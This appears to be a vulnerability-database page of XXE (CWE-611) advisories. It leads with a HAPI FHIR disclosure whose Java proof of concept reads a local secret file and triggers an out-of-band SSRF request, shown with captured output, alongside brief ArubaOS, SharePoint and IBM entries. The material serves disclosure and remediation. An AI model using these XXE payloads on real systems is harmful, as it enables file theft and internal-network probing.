    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
    return f;
}

and replace each new net.sf.saxon.TransformerFactoryImpl() in XsltUtilities.saxonTransform(...) (lines 61, 91, 106) with a call to it. This mirrors the existing newXXEProtected* convention and the class-level mandate that the protected factory "should be the only place where TransformerFactory is instantiated in this project". A regression test that runs a DOCTYPE-bearing source through saxonTransform and asserts the external entity is NOT resolved should accompany the change.

Credit

Reported by tonghuaroot.

Severity
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.9.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "ca.uhn.hapi.fhir:org.hl7.fhir.utilities"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:47:51Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\n`org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT\ntransform helpers. The `transform(...)` overloads obtain their\n`TransformerFactory` from the project\u0027s hardened helper\n`XMLUtil.newXXEProtectedTransformerFactory()` (which sets\n`ACCESS_EXTERNAL_DTD=\"\"` and `ACCESS_EXTERNAL_STYLESHEET=\"\"`). The sibling\n`saxonTransform(...)` overloads instead instantiate a **bare**\n`new net.sf.saxon.TransformerFactoryImpl()` with no external-access\nrestriction. A document transformed through any `saxonTransform(...)` overload\nis parsed with external general entities and external DTD/parameter entities\nenabled, so an attacker who controls (or can MITM) the transformed XML obtains\nXML External Entity injection: local file disclosure and blind XXE / SSRF to\narbitrary URLs reachable from the host.\n\n`XMLUtil` documents that its protected factory \"should be the only place where\nTransformerFactory is instantiated in this project\". The `saxonTransform`\noverloads violate that contract while their same-file `transform` siblings\nhonour it.\n\n### Affected versions\n\n`org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`)\n`\u003c= 6.9.8` (latest release at time of report; verified live on `6.9.8`).\nThe bare `net.sf.saxon.TransformerFactoryImpl()` instantiation is present at\n`XsltUtilities.java:61`, `:91`, and `:106`.\n\n### Privilege required\n\nNone at the library boundary. The exposure depends on the calling tool: any\nFHIR component that runs `XsltUtilities.saxonTransform(...)` over XML whose\nsource document, embedded DTD, or referenced stylesheet is attacker-influenced\n(an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a\nMITM\u0027d HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before\nthe Saxon parser sees the bytes.\n\n### Root cause\n\n`org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java`:\n\n```java\n// VULNERABLE \u2014 bare factory, no external-access restriction (lines 60-73, 90-99, 105-128)\npublic static byte[] saxonTransform(Map\u003cString, byte[]\u003e files, byte[] source, byte[] xslt) throws TransformerException {\n    TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();   // \u003c-- bare\n    f.setAttribute(\"http://saxon.sf.net/feature/version-warning\", Boolean.FALSE);\n    StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt));\n    f.setURIResolver(new ZipURIResolver(files));\n    Transformer t = f.newTransformer(xsrc);\n    ...\n}\npublic static String saxonTransform(String source, String xslt) throws TransformerException, IOException {\n    TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl();   // \u003c-- bare\n    ...\n}\n\n// HARDENED SIBLING (same file, lines 75-88 / 130-149) \u2014 negative control\npublic static byte[] transform(Map\u003cString, byte[]\u003e files, byte[] source, byte[] xslt) throws TransformerException {\n    TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // \u003c-- hardened\n    ...\n}\n```\n\nThe hardened helper (`XMLUtil.newXXEProtectedTransformerFactory()`) is:\n\n```java\npublic static TransformerFactory newXXEProtectedTransformerFactory() {\n    final TransformerFactory transformerFactory = TransformerFactory.newInstance();\n    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n    transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\");\n    return transformerFactory;\n}\n```\n\nThe `saxonTransform` overloads never call this helper and never set the two\n`ACCESS_EXTERNAL_*` attributes, so the underlying parser resolves external\ngeneral entities (`\u003c!ENTITY x SYSTEM \"file:///...\"\u003e`) and external\nDTD/parameter entities (`\u003c!ENTITY % p SYSTEM \"http://attacker/\"\u003e`). This is a\nclassic CWE-611. The asymmetry \u2014 one family hardened, the co-located sibling\nfamily bare \u2014 is the bug: the protection that already exists in the same class\nwas not extended to the `saxonTransform` variants.\n\n### Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`)\n\nA self-contained Maven project. `pom.xml` pulls the latest released artifact,\nwhich transitively brings `net.sf.saxon:Saxon-HE:11.6`.\n\n`pom.xml`:\n\n```xml\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\u003e\n  \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n  \u003cgroupId\u003epoc\u003c/groupId\u003e\u003cartifactId\u003efhir-xslt-xxe-poc\u003c/artifactId\u003e\u003cversion\u003e1.0\u003c/version\u003e\n  \u003cproperties\u003e\n    \u003cmaven.compiler.source\u003e17\u003c/maven.compiler.source\u003e\n    \u003cmaven.compiler.target\u003e17\u003c/maven.compiler.target\u003e\n  \u003c/properties\u003e\n  \u003cdependencies\u003e\n    \u003cdependency\u003e\n      \u003cgroupId\u003eca.uhn.hapi.fhir\u003c/groupId\u003e\n      \u003cartifactId\u003eorg.hl7.fhir.utilities\u003c/artifactId\u003e\n      \u003cversion\u003e6.9.8\u003c/version\u003e\n    \u003c/dependency\u003e\n  \u003c/dependencies\u003e\n\u003c/project\u003e\n```\n\n`src/main/java/Poc.java`:\n\n```java\nimport org.hl7.fhir.utilities.XsltUtilities;\nimport java.io.*;\nimport java.net.*;\nimport java.nio.charset.StandardCharsets;\nimport java.nio.file.*;\nimport java.util.*;\n\npublic class Poc {\n  static final String CANARY_MARK = \"TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2\";\n  // identity stylesheet: copies the resolved //data text into the output\n  static final String IDENTITY_XSLT =\n      \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n      \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\\n\" +\n      \"  \u003cxsl:output method=\\\"text\\\"/\u003e\\n\" +\n      \"  \u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"//data\\\"/\u003e\u003c/xsl:template\u003e\\n\" +\n      \"\u003c/xsl:stylesheet\u003e\\n\";\n\n  public static void main(String[] args) throws Exception {\n    Path secret = Files.createTempFile(\"fhir-secret-\", \".txt\");\n    Files.writeString(secret, CANARY_MARK + \" :: \" + UUID.randomUUID());\n\n    final List\u003cString\u003e oobHits = Collections.synchronizedList(new ArrayList\u003c\u003e());\n    ServerSocket sentinel = new ServerSocket(0);\n    int oobPort = sentinel.getLocalPort();\n    Thread st = new Thread(() -\u003e {\n      try {\n        while (!sentinel.isClosed()) {\n          Socket s = sentinel.accept();\n          BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8));\n          String line = r.readLine();\n          if (line != null) { oobHits.add(line); System.out.println(\"[SENTINEL] inbound connection: \" + line); }\n          byte[] body = \"\u003c!-- ok --\u003e\".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD\n          OutputStream os = s.getOutputStream();\n          os.write((\"HTTP/1.1 200 OK\\r\\nContent-Type: application/xml-dtd\\r\\nContent-Length: \" + body.length + \"\\r\\n\\r\\n\").getBytes());\n          os.write(body); os.flush(); s.close();\n        }\n      } catch (IOException ignored) {}\n    });\n    st.setDaemon(true); st.start();\n\n    // A1: external general entity -\u003e local secret (file read)\n    // A2: external parameter entity -\u003e attacker URL (blind XXE / SSRF)\n    String maliciousSource =\n        \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n        \"\u003c!DOCTYPE root [\\n\" +\n        \"  \u003c!ENTITY canary SYSTEM \\\"\" + secret.toUri() + \"\\\"\u003e\\n\" +\n        \"  \u003c!ENTITY % oob SYSTEM \\\"http://127.0.0.1:\" + oobPort + \"/evil-fhir-xslt-ssrf.dtd\\\"\u003e\\n\" +\n        \"  %oob;\\n\" +\n        \"]\u003e\\n\" +\n        \"\u003croot\u003e\u003cdata\u003e\u0026canary;\u003c/data\u003e\u003c/root\u003e\\n\";\n    Path srcFile = Files.createTempFile(\"fhir-malicious-src-\", \".xml\");\n    Files.writeString(srcFile, maliciousSource);\n    Path xsltFile = Files.createTempFile(\"fhir-identity-\", \".xslt\");\n    Files.writeString(xsltFile, IDENTITY_XSLT);\n\n    System.out.println(\"=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK \" + System.getProperty(\"java.version\") + \" ===\");\n    System.out.println(\"=== Saxon: \" + saxonVersion() + \" ===\");\n    System.out.println(\"Secret file: \" + secret + \" (contains \" + CANARY_MARK + \")\");\n    System.out.println(\"OOB sentinel: http://127.0.0.1:\" + oobPort + \"/\\n\");\n\n    System.out.println(\"---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----\");\n    try {\n      String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString());\n      System.out.println(\"transform output: [\" + out.trim() + \"]\");\n      System.out.println(out.contains(CANARY_MARK)\n        ? \"\u003e\u003e\u003e XXE CONFIRMED: canary leaked into XSLT output via external entity \u003c\u003c\u003c\"\n        : \"\u003e\u003e\u003e canary NOT in output \u003c\u003c\u003c\");\n    } catch (Exception e) { System.out.println(\"saxonTransform threw: \" + e); }\n    Thread.sleep(400);\n    System.out.println(\"OOB sentinel hits after BARE call: \" + oobHits + \"\\n\");\n\n    // Direct factory comparison (isolates the hardening difference)\n    System.out.println(\"---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----\");\n    int b = oobHits.size();\n    System.out.println(\"[bare new TransformerFactoryImpl()]\");\n    runDirect(new net.sf.saxon.TransformerFactoryImpl(), srcFile, xsltFile, oobHits, b);\n    int b2 = oobHits.size();\n    System.out.println(\"[hardened XMLUtil.newXXEProtectedTransformerFactory()]\");\n    runDirect(org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(), srcFile, xsltFile, oobHits, b2);\n    sentinel.close();\n  }\n\n  static void runDirect(javax.xml.transform.TransformerFactory f, Path srcFile, Path xsltFile, List\u003cString\u003e oobHits, int before) throws Exception {\n    try {\n      javax.xml.transform.Transformer t = f.newTransformer(new javax.xml.transform.stream.StreamSource(Files.newInputStream(xsltFile)));\n      ByteArrayOutputStream out = new ByteArrayOutputStream();\n      t.transform(new javax.xml.transform.stream.StreamSource(Files.newInputStream(srcFile)), new javax.xml.transform.stream.StreamResult(out));\n      String s = out.toString(StandardCharsets.UTF_8).trim();\n      System.out.println(\"  output: [\" + s + \"]\");\n      System.out.println(\"  canary leaked: \" + s.contains(CANARY_MARK));\n    } catch (Exception e) {\n      System.out.println(\"  threw: \" + e.getClass().getName() + \": \" + String.valueOf(e.getMessage()).replaceAll(\"[\\\\u4e00-\\\\u9fff]\", \"?\"));\n    }\n    Thread.sleep(300);\n    System.out.println(\"  OOB sentinel hits from this call: \" + (oobHits.size() - before));\n  }\n\n  static String saxonVersion() {\n    try { return (String) Class.forName(\"net.sf.saxon.Version\").getMethod(\"getProductVersion\").invoke(null); }\n    catch (Throwable t) { return \"unknown\"; }\n  }\n}\n```\n\nRun + **verbatim captured output** (JDK 17.0.18, Saxon-HE 11.6; CJK in the\nhardened-path SAXParseException replaced with `?` by the harness for ASCII\ndisplay, the message text is `accessExternalDTD ... restriction ... \u0027http\u0027\naccess not allowed`):\n\n```\n$ mvn -q compile \u0026\u0026 mvn -q exec:java -Dexec.mainClass=Poc\n=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK 17.0.18 ===\n=== Saxon: 11.6 ===\nSecret file: /var/folders/.../fhir-secret-467000002121832365.txt (contains TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2)\nOOB sentinel: http://127.0.0.1:62466/\n\n---- ATTACK: XsltUtilities.saxonTransform(source, xslt)  [BARE TransformerFactoryImpl] ----\n[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1\ntransform output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]\n\u003e\u003e\u003e XXE CONFIRMED: canary leaked into XSLT output via external entity \u003c\u003c\u003c\nOOB sentinel hits after BARE call: [GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1]\n\n---- DIRECT FACTORY COMPARISON (same malicious source, identity XSLT) ----\n[bare new TransformerFactoryImpl()]\n[SENTINEL] inbound connection: GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1\n  output: [TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: 4e3c33aa-4db1-4f22-880f-6666fedd9da4]\n  canary leaked: true\n  OOB sentinel hits from this call: 1\n[hardened XMLUtil.newXXEProtectedTransformerFactory()]\n  threw: net.sf.saxon.trans.XPathException: org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 8; ????: ???????? \u0027evil-fhir-xslt-ssrf.dtd\u0027, ?? accessExternalDTD ???????????? \u0027http\u0027 ??.\n  OOB sentinel hits from this call: 0\n```\n\nInterpretation of the verbatim output:\n\n- **Bare path** (`saxonTransform` and bare `TransformerFactoryImpl`): the local\n  secret file content (`TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2 :: ...`) is leaked\n  into the transform output (file disclosure), and the OOB sentinel receives\n  `GET /evil-fhir-xslt-ssrf.dtd HTTP/1.1` (blind XXE / SSRF). `canary leaked: true`,\n  OOB hits = 1.\n- **Hardened path** (`XMLUtil.newXXEProtectedTransformerFactory()`): parsing the\n  same malicious source throws an `accessExternalDTD ... \u0027http\u0027 access not\n  allowed` SAXParseException and the OOB sentinel receives 0 hits. The only\n  difference between the two runs is the factory: the existing project helper\n  blocks the attack, the bare sibling does not.\n\n### Impact\n\n- **Local file disclosure**: any file readable by the JVM process is exfiltrated\n  into the transform output (demonstrated above with a canary secret file).\n- **Blind XXE / SSRF**: external parameter/DTD entities cause the host to issue\n  attacker-directed HTTP(S) requests (demonstrated by the sentinel hit),\n  enabling internal-network probing and cloud metadata access from the host\u0027s\n  network position.\n- The `saxonTransform` overloads are part of the public\n  `org.hl7.fhir.utilities` API consumed across the FHIR Java tooling\n  (IG-publisher / validation / conversion utilities); any consumer that routes\n  attacker-influenced or MITM-able XML through them inherits the XXE.\n\n### Suggested fix\n\nRoute the `saxonTransform` overloads through the same protection the\n`transform` siblings already use. Because these overloads specifically need the\nSaxon implementation, obtain a Saxon factory and apply the two `ACCESS_EXTERNAL_*`\nrestrictions (mirroring `XMLUtil.newXXEProtectedTransformerFactory()`), e.g. a\nsmall helper in `XMLUtil`:\n\n```java\n@SuppressWarnings(\"checkstyle:transformerFactoryNewInstance\")\npublic static TransformerFactory newXXEProtectedSaxonTransformerFactory() {\n    final TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl();\n    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\");\n    f.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \"\");\n    return f;\n}\n```\n\nand replace each `new net.sf.saxon.TransformerFactoryImpl()` in\n`XsltUtilities.saxonTransform(...)` (lines 61, 91, 106) with a call to it. This\nmirrors the existing `newXXEProtected*` convention and the class-level mandate\nthat the protected factory \"should be the only place where TransformerFactory\nis instantiated in this project\". A regression test that runs a DOCTYPE-bearing\nsource through `saxonTransform` and asserts the external entity is NOT resolved\nshould accompany the change.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-2f55-g35j-5jmf",
  "modified": "2026-06-17T18:47:51Z",
  "published": "2026-06-17T18:47:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core/security/advisories/GHSA-2f55-g35j-5jmf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hapifhir/org.hl7.fhir.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory"
}

GHSA-2FWM-FP55-MV7P

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-13 21:30
VLAI
Details

Due to improper restrictions on XML entities multiple vulnerabilities exist in the command line interface of ArubaOS. A successful exploit could allow an authenticated attacker to retrieve files from the local system or cause the application to consume system resources, resulting in a denial of service condition.

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37911"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Due to improper restrictions on XML entities multiple vulnerabilities exist in the command line interface of ArubaOS. A successful exploit could allow an authenticated attacker to retrieve files from the local system or cause the application to consume system resources, resulting in a denial of service condition.",
  "id": "GHSA-2fwm-fp55-mv7p",
  "modified": "2022-12-13T21:30:27Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37911"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-016.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2GWV-P3PP-2HVM

Vulnerability from github – Published: 2024-12-12 03:33 – Updated: 2024-12-12 03:33
VLAI
Details

Microsoft SharePoint Information Disclosure Vulnerability

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-49064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-12T02:04:30Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft SharePoint Information Disclosure Vulnerability",
  "id": "GHSA-2gwv-p3pp-2hvm",
  "modified": "2024-12-12T03:33:04Z",
  "published": "2024-12-12T03:33:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49064"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49064"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H6F-JV94-879X

Vulnerability from github – Published: 2022-05-17 03:00 – Updated: 2022-05-17 03:00
VLAI
Details

IBM BigFix Inventory v9 is vulnerable to a denial of service, caused by an XML External Entity Injection (XXE) error when processing XML data. A remote attacker could exploit this vulnerability to expose highly sensitive information or consume all available memory resources.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-8980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-01T20:59:00Z",
    "severity": "HIGH"
  },
  "details": "IBM BigFix Inventory v9 is vulnerable to a denial of service, caused by an XML External Entity Injection (XXE) error when processing XML data. A remote attacker could exploit this vulnerability to expose highly sensitive information or consume all available memory resources.",
  "id": "GHSA-2h6f-jv94-879x",
  "modified": "2022-05-17T03:00:01Z",
  "published": "2022-05-17T03:00:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8980"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg21995013"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95141"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

CAPEC-221: Data Serialization External Entities Blowup

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

← Back to the CWE list